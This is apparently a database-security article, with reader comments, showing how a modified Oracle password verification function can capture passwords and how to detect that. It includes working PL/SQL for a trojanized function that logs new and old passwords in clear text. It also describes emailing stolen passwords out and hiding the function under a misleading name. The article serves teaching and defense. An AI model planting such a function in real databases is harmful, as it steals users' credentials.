Protect Your Passwords

Jared Still's picture

Jared explains how Oracle manages passwords and how "thinking like a hacker" can help you to better protect your databases from potential password theft.

Good security practice dictates that some type of policy should be enforced to ensure that database user account passwords are difficult to guess and changed on a regular basis.

Making a password that is difficult to guess usually requires a combination of letters, punctuation and digits, and it must not spell a word found in the dictionary. A user creating a new password might be required to use something such as so48%319 as a password.

As long ago as Version 8.0 Oracle has had the ability to create a user profile in the database with an function associated with it that could force users to adhere to password policy.

This allowed DBAs, security and application administrators and owners to breath a little easier, knowing that their databases were now able to enforce the company password standards on database accounts. Up to a point anyway, as case of alpha characters still cannot be enforced, as seen here.

07:40:57 hudson - jkstill@ts70 SQL> create user pete identified by "Pete";
User created.

07:40:57 hudson - jkstill@ts70 SQL> select username,password from dba_users
07:40:57   2  where username = 'PETE';

---------- ------------------------------
PETE       4040619819A9C76E

1 row selected.

07:40:57 hudson - jkstill@ts70 SQL>
07:40:57 hudson - jkstill@ts70 SQL> drop user pete;

User dropped.

07:40:57 hudson - jkstill@ts70 SQL>
07:40:57 hudson - jkstill@ts70 SQL> create user pete identified by "pEtE";

User created.

07:40:57 hudson - jkstill@ts70 SQL> select username,password from dba_users
07:40:57   2  where username = 'PETE';

---------- ------------------------------
PETE       4040619819A9C76E

1 row selected.

07:40:57 hudson - jkstill@ts70 SQL>

Passwords of the same alpha characters but in different case are clearly stored as the same values.

Though there are other forms of authentication that may be used, the username/password combination is still available and in use on Oracle 10g.

What you should be asking yourself is this: Just how safe are those passwords?

The fact that Oracle allows you to create your own password verification function is both a blessing and something of a curse. It is a blessing for the aforementioned reasons, that is it allows the enforcement of password rules.

The curse? It also allows for the theft of those same passwords.

You've probably heard the old adage "It takes a thief to catch a thief".

While you may not want to turn a hacker loose on your database to look for holes, it doesn't hurt to think like one. If you start thinking in terms of "What methods could I use to compromise this database if I were trying to break into it?", you might be surprise at what you come up with.

Which is precisely what led to the creation of this little hack. It is possible to obtain the password during the process of changing it and store it in a table. It is also possible to simply use UTL_SMTP and simply email the password to an external account. For demonstration purposes however, storing the password in a table will suffice.

The code presented here is based on the stock VERIFY_FUNCTION password verification function that is supplied with Oracle. It is somewhat different in that it not only verifies that passwords comply with policy, it steals them at the same time.

Before beginning, please be sure that if you try out this code, do it in a safe environment on a test database.

The first thing to do is create a table for storing the username/password pairs as seen in Example 1. As this is a demonstration, we will be storing some other information in the table as well.

connect / as sysdba;
drop sequence psnoop_seq;
drop table psnoop;
create sequence psnoop_seq start with 1;
-- 9i
create table psnoop (
  id number(6), 
  username varchar2(30), 
  value varchar(60)
tablespace tools;
-- 10g

create table psnoop (
  id number(6), 
  username varchar2(30), 
  value varchar(60)
tablespace sysaux;

Example 1 - Create PWDSNOOP objects

Now create the password verification function while still connected to the database as SYS. The code in Example 2 is similar to what you may have seen when perusing the stock verify_function code with one important difference. There is a local procedure anonymous pwdsnoop that is called several times from the main body of the code. This procedure stores the username/password information as well as some other information that we can use to track the progress of the new password through the code. The stock function is found at $ORACLE_HOME/rdbms/admin/utlpwdmg.sql.

-- This function must be created in SYS schema.
-- connect sys/<password> as sysdba before running the script
CREATE OR REPLACE FUNCTION verify_function_test (
  username varchar2,
  password varchar2,
  old_password varchar2
) RETURN boolean
  n boolean;
  m integer;
  differ integer;
  isdigit boolean;
  ischar  boolean;
  ispunct boolean;
  digitarray varchar2(20);
  punctarray varchar2(25);
  chararray varchar2(52);
  procedure pwdsnoop( username_in varchar2, value_in varchar2 )
    pragma autonomous_transaction;
    insert into psnoop (id,username, value) values (psnoop_seq.nextval, username_in, value_in);
  digitarray:= '0123456789';
  chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  pwdsnoop(username, '***********************************');
  pwdsnoop(username, 'NEW PASSWORD: '||password);
  -- Check if the password is same as the username
  pwdsnoop(username, 'check for username=password');
  IF NLS_LOWER(password) = NLS_LOWER(username) THEN
    raise_application_error(-20001, 'Password same as or similar to user');
  -- Check for the minimum length of the password
  pwdsnoop(username, 'check for password length');
  IF length(password) < 7 THEN
    raise_application_error(-20002, 'Password length less than 7');
  -- Check if the password is too simple. A dictionary of words may be
  -- maintained and a check may be made so as not to allow the words
  -- that are too simple for the password.
  pwdsnoop(username, 'check for easy passwords');
  IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user',
                             'password', 'oracle', 'computer', 'abcd') THEN
    raise_application_error(-20002, 'Password too simple');
  -- Check if the password contains at least one letter, one digit and one
  -- punctuation mark.
  -- 1. Check for the digit
  m := length(password);
  pwdsnoop(username, 'checking for digits in password');
  FOR i IN 1..10 LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(digitarray,i,1) THEN
        GOTO findchar;
      END IF;
  IF isdigit = FALSE THEN
      'Password should contain at least one digit, one character and one punctuation');
  -- 2. Check for the character
  pwdsnoop(username, 'checking for char in password');
  FOR i IN 1..length(chararray) LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(chararray,i,1) THEN
        GOTO findpunct;
      END IF;
  IF ischar = FALSE THEN
       'Password should contain at least one digit, one character and one punctuation');
  -- 3. Check for the punctuation
  pwdsnoop(username, 'checking for punctuation in password');
  FOR i IN 1..length(punctarray) LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(punctarray,i,1) THEN
        GOTO endsearch;
      END IF;
  IF ispunct = FALSE THEN
      'Password should contain at least one digit, one character and one punctuation');
  -- Check if the password differs from the previous password by at least
  -- 3 letters
  pwdsnoop(username, 'checking for password != old_password');
  IF old_password IS NOT NULL THEN
    pwdsnoop(username, 'old_password is NOT null');
    pwdsnoop(username, 'OLD PASSWORD: '||old_password);
    differ := length(old_password) - length(password);
    IF abs(differ) < 3 THEN
      IF length(password) < length(old_password) THEN
        m := length(password);
        m := length(old_password);
      END IF;
      differ := abs(differ);
      FOR i IN 1..m LOOP
        IF substr(password,i,1) != substr(old_password,i,1) THEN
          differ := differ + 1;
        END IF;
      END LOOP;
      IF differ < 3 THEN
          'Password should differ by at least 3 characters');
      END IF;
    END IF;
    pwdsnoop(username, 'old_password is null');
  -- Everything is fine; return TRUE ;
  pwdsnoop(username, 'returned TRUE');

show error function verify_function_test

Now create a profile that makes use of your new password verication function, and enforces its use when a password is changed.

drop profile pwdhack;
create profile pwdhack limit password_life_time unlimited;
alter profile pwdhack limit password_verify_function verify_function_test
Example 2 - Verify password function

Now that your pseudo-hacker code is in place, it's time to try it out.

The first test as seen in Example 3 will be to create a user account that does not use the PWDHACK profile, just as a control item.

drop user hackme;
create user hackme identified by grok
default tablespace users
temporary tablespace temp
grant create session to hackme;

Example 3 - Create control account

Now examine the contents of the PSNOOP table. There will be no rows in it.

23:00:35 hudson - sys@ts70 SQL> l
  1* select * from psnoop order by id
23:00:38 hudson - sys@ts70 SQL> /
no rows selected
23:00:39 hudson - sys@ts70 SQL>

Now drop the user account and recreate it as shown in Example 4, this time with the PWDHACK profile.

drop user hackme;
create user hackme identified by "grok19*"
profile pwdhack
default tablespace users
temporary tablespace temp
grant create session to hackme;

Example 4 - Recreate test account

Once again check the contents of the psnoop table:

23:04:29 hudson - sys@ts70 SQL> l
  1* select * from psnoop order by id
23:04:29 hudson - sys@ts70 SQL> /
1 HACKME     ***********************************
2 HACKME     NEW PASSWORD: grok19*
3 HACKME     check for username=password
4 HACKME     check for password length
5 HACKME     check for easy passwords
6 HACKME     checking for digits in password
7 HACKME     checking for char in password
8 HACKME     checking for punctuation in password
9 HACKME     checking for password != old_password
10 HACKME     old_password is null
11 HACKME     returned TRUE
11 rows selected.
23:04:30 hudson - sys@ts70 SQL>

Notice what appears in row number 2. It is the new password for the HACKME account. Every time the verify_function_test function is called, the new password will be stored in the PSNOOP table. Keep in mind this could just as easily been emailed immediately.

Let's run a few more tests. This time let's change the password via both the ALTER USER command and the PASSWORD command as seen in Example 5.

prompt Enter a new valid password for hackme
password hackme
alter user hackme identified by "test123#";

Example 5 - Change passwords

For the password command I entered a password of hjkl1234!. Notice the contents of the PSNOOP table after changing the password via both of these methods. If you are wondering about the discontinuity of the line numbers in these examples, I had to run the SQL a couple of extra times to type the password two times in succession, resulting in the listing of failed password change attempts in the PSNOOP table.

47 HACKME     ***********************************
48 HACKME     NEW PASSWORD: hjkl1234!
49 HACKME     check for username=password
56 HACKME     old_password is null
57 HACKME     returned TRUE
58 HACKME     ***********************************
59 HACKME     NEW PASSWORD: test123#
60 HACKME     check for username=password
67 HACKME     old_password is null
68 HACKME     returned TRUE

Once again, the new password has been stored in clear text in the PSNOOP table. While this table may appear to be of little value as is, keep in mind that someone may have access to this table without your knowledge of its existence.

While the table is good for demonstration purposes, it is more likely that this kind of intrusion would make use of the UTL_SMTP package and immediately email the password and account information to an external email account.

How would this happen to your database? There are two scenarios that come readily to mind.

The first and possibly the most likely scenario is that the password function would be modified by a company insider with access to the database at a DBA level. This could be a DBA, a developer or a System Administrator.

I will not try to explore 'why would they do this?' aspect of this, just the 'how'. It should be fairly obvious how a DBA, a developer with DBA privileges or a System Administrator could perpetrate this.

The current password verification function would be retrieved from the data dictionary, and a new one put in its place. After collecting a few passwords, the original password verification function could be put back in place, without anyone knowing that the system has been compromised.

Another way for this to happen is for a DBA to be tricked into running the code that will modify and replace the current password verification function with one steals password for the perpetrator. The code might be embedded in some other package that the DBA is asked to run. Some new software, a patch, etc. It is also an easy matter for an attacker to modify $ORACLE_HOME/sqlplus/admin/glogin.sql so that the password verification function would be modified at the next login with sufficient privileges.

It doesn't take too much imagination to develop PL/SQL code that could read the password functions, add a bit of code to catch the passwords when changed and email them to a blind email account owned by the perpetrator.

How can you prevent or detect this kind of activity?

You cannot completely lock out people that may want to do harm to your system, but you can make it an undesirable target, or at least detect in a timely fashion that someone may be stealing your passwords.. Database security is a broad topic which will be addressed here only from the perspective of protecting your passwords.

One method to detect if the password verification function has changed is to regularly get a checksum of its contents, and store it outside the database. Do this on a regular basis, compare the hash to previous values and you will know if the function has changed. Example 6 shows one possible method of collecting a hash value for the function using the DBMS_CRYPTO.HASH_MD5 function. See Metalink document 279169.1 for a complete example of code to store hash values for all PL/SQL code, and verifying the hash values at a later date.

set serveroutput on size 1000000

   hash varchar2(32);
   code clob;
   for frec in (
      select text
      from dba_source
      where owner = 'SYS'
      and type = 'FUNCTION'
      and name = 'VERIFY_FUNCTION_TEST'
      order by line
      code := code || frec.text;
   end loop;
   hash := rawtohex(
      dbms_crypto.hash (
         typ => dbms_crypto.hash_md5,
         src => code
   dbms_output.put_line('HASH: ' || hash);


Example 6 - Generate a hash

This detection method could be foiled if the modification to the password verification function were made between periods of hash collection, that is, the function could be modified by an attacker, used to collect some passwords, and then returned back to its previous state prior to the next hash collection period.

This is a good reason for the hash collection routine to be run from outside the database, as it will prevent detection of the collection period via the DBMS_JOBS or DBA_SCHEDULE_JOBS views.

Another method you might use to prevent the modification of the password verification function would be to put in place a DDL trigger that raises an error if it is attempted, and notifies the DBAs via email if that is attempted.

An example DDL trigger appears in Example 7. This will catch attempted modifications to the VERIFY_FUNCTION_TEST trigger and any database PROFILE.

show error trigger verify_trg

07:06:06 hudson - jkstill@ts70 SQL> create or replace trigger verify_trg
07:06:06   2  before create or alter or drop on database
07:06:06   3  begin
07:06:06   4          if ora_dict_obj_name = 'VERIFY_FUNCTION_TEST'
07:06:06   5                  or ora_dict_obj_type = 'PROFILE' then
07:06:06   6                  raise_application_error(-20000,'Action not allowed on verify function');
07:06:06   7          end if;
07:06:06   8  end;
07:06:06   9  /
Trigger created.
07:06:06 hudson - jkstill@ts70 SQL> drop profile pwdhack cascade;
drop profile pwdhack cascade
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20000: Action not allowed on verify function
ORA-06512: at line 4

07:07:11 hudson - jkstill@ts70 SQL>

Example 7 - DDL trigger

The body of the trigger could be used to send an email so that the DBA will be notified that this attempt has been made. This would be useful as a notification only when someone has limited knowledge of the database. A company DBA for instance would likely have knowledge of this trigger and disable it, then re-enable it after performing nefarious modifications of database objects, limiting its usefulness.

In addition it is a good idea to enable monitoring of the SYS account, as that level of access is required to modify the password verification functions attached to a profile.

  1* alter system set audit_sys_operations=true scope=spfile
08:28:02 hudson - jkstill@ts70 SQL> /

System altered.

08:28:03 hudson - jkstill@ts70 SQL>

It is also important to monitor the names of the functions that are actually attached to a PROFILE. While UNLIMITED is a valid value several PROFILE parameters, it is not valid for the password_verify_function parameter. This makes it possible for a trojan function to be attached to a profile without attracting too much attention.

08:38:21 hudson - jkstill@ts70 SQL> alter profile pwdhack limit password_verify_function "UNLIMITED";

Profile altered.

08:38:23 hudson - jkstill@ts70 SQL>

The "UNLIMITED" function in this case is a trojan designed to steal passwords. The code in Example 8 or a variation might be used to examine the PROFILEs and the password verification functions assigned to them. As seen the in example a function with the name UNLIMITED might raise some suspicion. The accompanying timestamp can also be used to benefit, as a timestamp that is newer than what was recorded during the previous check is cause for concern.

08:45:46 hudson - jkstill@ts70 SQL> l
  1  select a.profile
  2     , a.resource_name
  3     , a.limit
  4     , o.object_name function
  5     , o.last_ddl_time
  6  from dba_profiles a, dba_objects o
  7  where resource_name = 'PASSWORD_VERIFY_FUNCTION'
  8  and o.object_name(+) = a.limit
  9* order by 1,2
08:45:47 hudson - jkstill@ts70 SQL> /
Wed Apr 06                                                                   page    1
                                   Profile Resources for pwdhack

---------- ------------------------- ---------- ------------ -------------------


2 rows selected.

08:45:47 hudson - jkstill@ts70 SQL>

Example 8 - Check profiles and functions

It appears that if an attacker gains DBA level access to your database either directly or indirectly there is a very good chance that passwords may be collected from that database and emailed directly to an anonymous email account.

Though there are some methods you may use to detect and prevent this from taking place, they are not 100% effective. If the attack comes from someone already entrusted with the database, harvesting passwords becomes much more difficult to prevent or detect.

Why would someone that already has DBA access to the database need account passwords? This allows the insider to login to the database as an account not associated with the DBA. Doing so does not require saving the encrypted value of the password, changing it temporarily and then changing it back to its original value via alter user username identified by values 'encrypted_value_here', which could be detected, especially in an account that logs in frequently.

In addition to monitoring the hash value for the password verification function you should consider wrapping the function via the $ORACLE_HOME/bin/wrap function. This step will not stop someone from completely replacing the function given the proper access to the database, but it will prevent the modification of the function by an attacker that does not have your source code.

The final solution to this probably lies in doing away with the reliance on passwords altogether and using some form of trusted external authentication, a topic for discussion at another time.

Something not discussed here is the harvesting of encrypted passwords from the DBA_USERS view. These could be stolen and cracked via brute force methods at the attacker's leisure. This too is a subject best tackled at another time.


Pete Finnigan for his review of the article and code, and helpful suggestions.


Metalink Document 279169.1 -
generate, store and verify hash values for PL/SQL in the database.

Oracle Security Matters -

Oracle Database Security Scanner -


Nice article Jared.

I'm wondering if the code for the verify_function_test might be better if the check for specific characters were coded similarly to ...

If Length(Replace(password,'!"#$%&()``*+,-/:;?_')) = Length(password)
Then raise_application_error(-20003,
'Password should contain at least one digit, one character and one punctuation');
End If;

... and of course the same applies for digits and characters.

Could the list of forbidden passwords be usefully stored in a table, and loaded to an array on execution of the function? It might make the list more supportable.

Excellent article and quite scarey when you think about the ramifications.

Thanks, Jared, for an excellent read. . .

Re comments by David Aldridge:

Thanks David.

Though I was not attempting to optimize the operation of the stock password utility, the elimination of the loops would be a nice enhancement.

I think the translate function might work better for this. There is example code at the end of this comment.

Putting forbidden passwords in a table for lookup may be a good idea dependent on the frequency of logins on your database. I would expect it to be a good solution, though I would subject it to some testing first.

In Oracle 9i and later you can use an associative array instead of a table. Not as convenient for maintenance, but faster.

Of course the idea of checking for digits and puncuation somewhat negates the need to check for obvious passwords in plain text.

It might still be useful if numeric substitutions for alpha characters were converted back to alpha, and then checking the password against a forbidden list.

password varchar2(30) := 't5esting!';
pwdtest varchar2(30);
type pwdbad_t is table of number(1) index by varchar2(30);
pwdbad_tab pwdbad_t;
--password := 't3st1ng';
pwdtest := translate(password,'01345','oieas');

pwdbad_tab('hello') := 1;
pwdbad_tab('enterprise') := 1;
pwdbad_tab('dontpanic') := 1;
pwdbad_tab('slartibartfast') := 1;
pwdbad_tab('testing') := 1;

if pwdbad_tab.exists(lower(pwdtest)) then
raise_application_error(-20002,'That is a poor choice of password');
end if;

if translate(password,'!"#$%&()``*+,-/:;?_',' ') = password then
raise_application_error(-20003,'Password should contain at least one punctuation');
end if;
if translate(password,'0123456789',' ') = password then
raise_application_error(-20004, 'Password should contain at least one digit');
end if;
if translate(lower(password),'abcdefghijklmnopqrstuvwxyz',' ') = lower(password) then
raise_application_error(-20005, 'Password should contain at least one alpha character');
end if;

Am I missing something here?

How would the "hacker" connect as sys and create the verify_password_function in the first place? They would either have to have the sys password, a valid db link and/or access to a valid Oracle port or direct machine access. All of these are preventable to the outside hacker in the first place.

As for an internal hacker, e.g. pissed off developer, if they have the Oracle sys password you're screwed already.

Jared Still's picture

Kind of funny that I never saw this 10 year old post until now. Not sure how I missed it.

A hacker does not need access to your server or database, or anything in your data center.

All that is needed is tricking someone into running a script that hasn't been properly vetted.

That is not an uncommon tactic.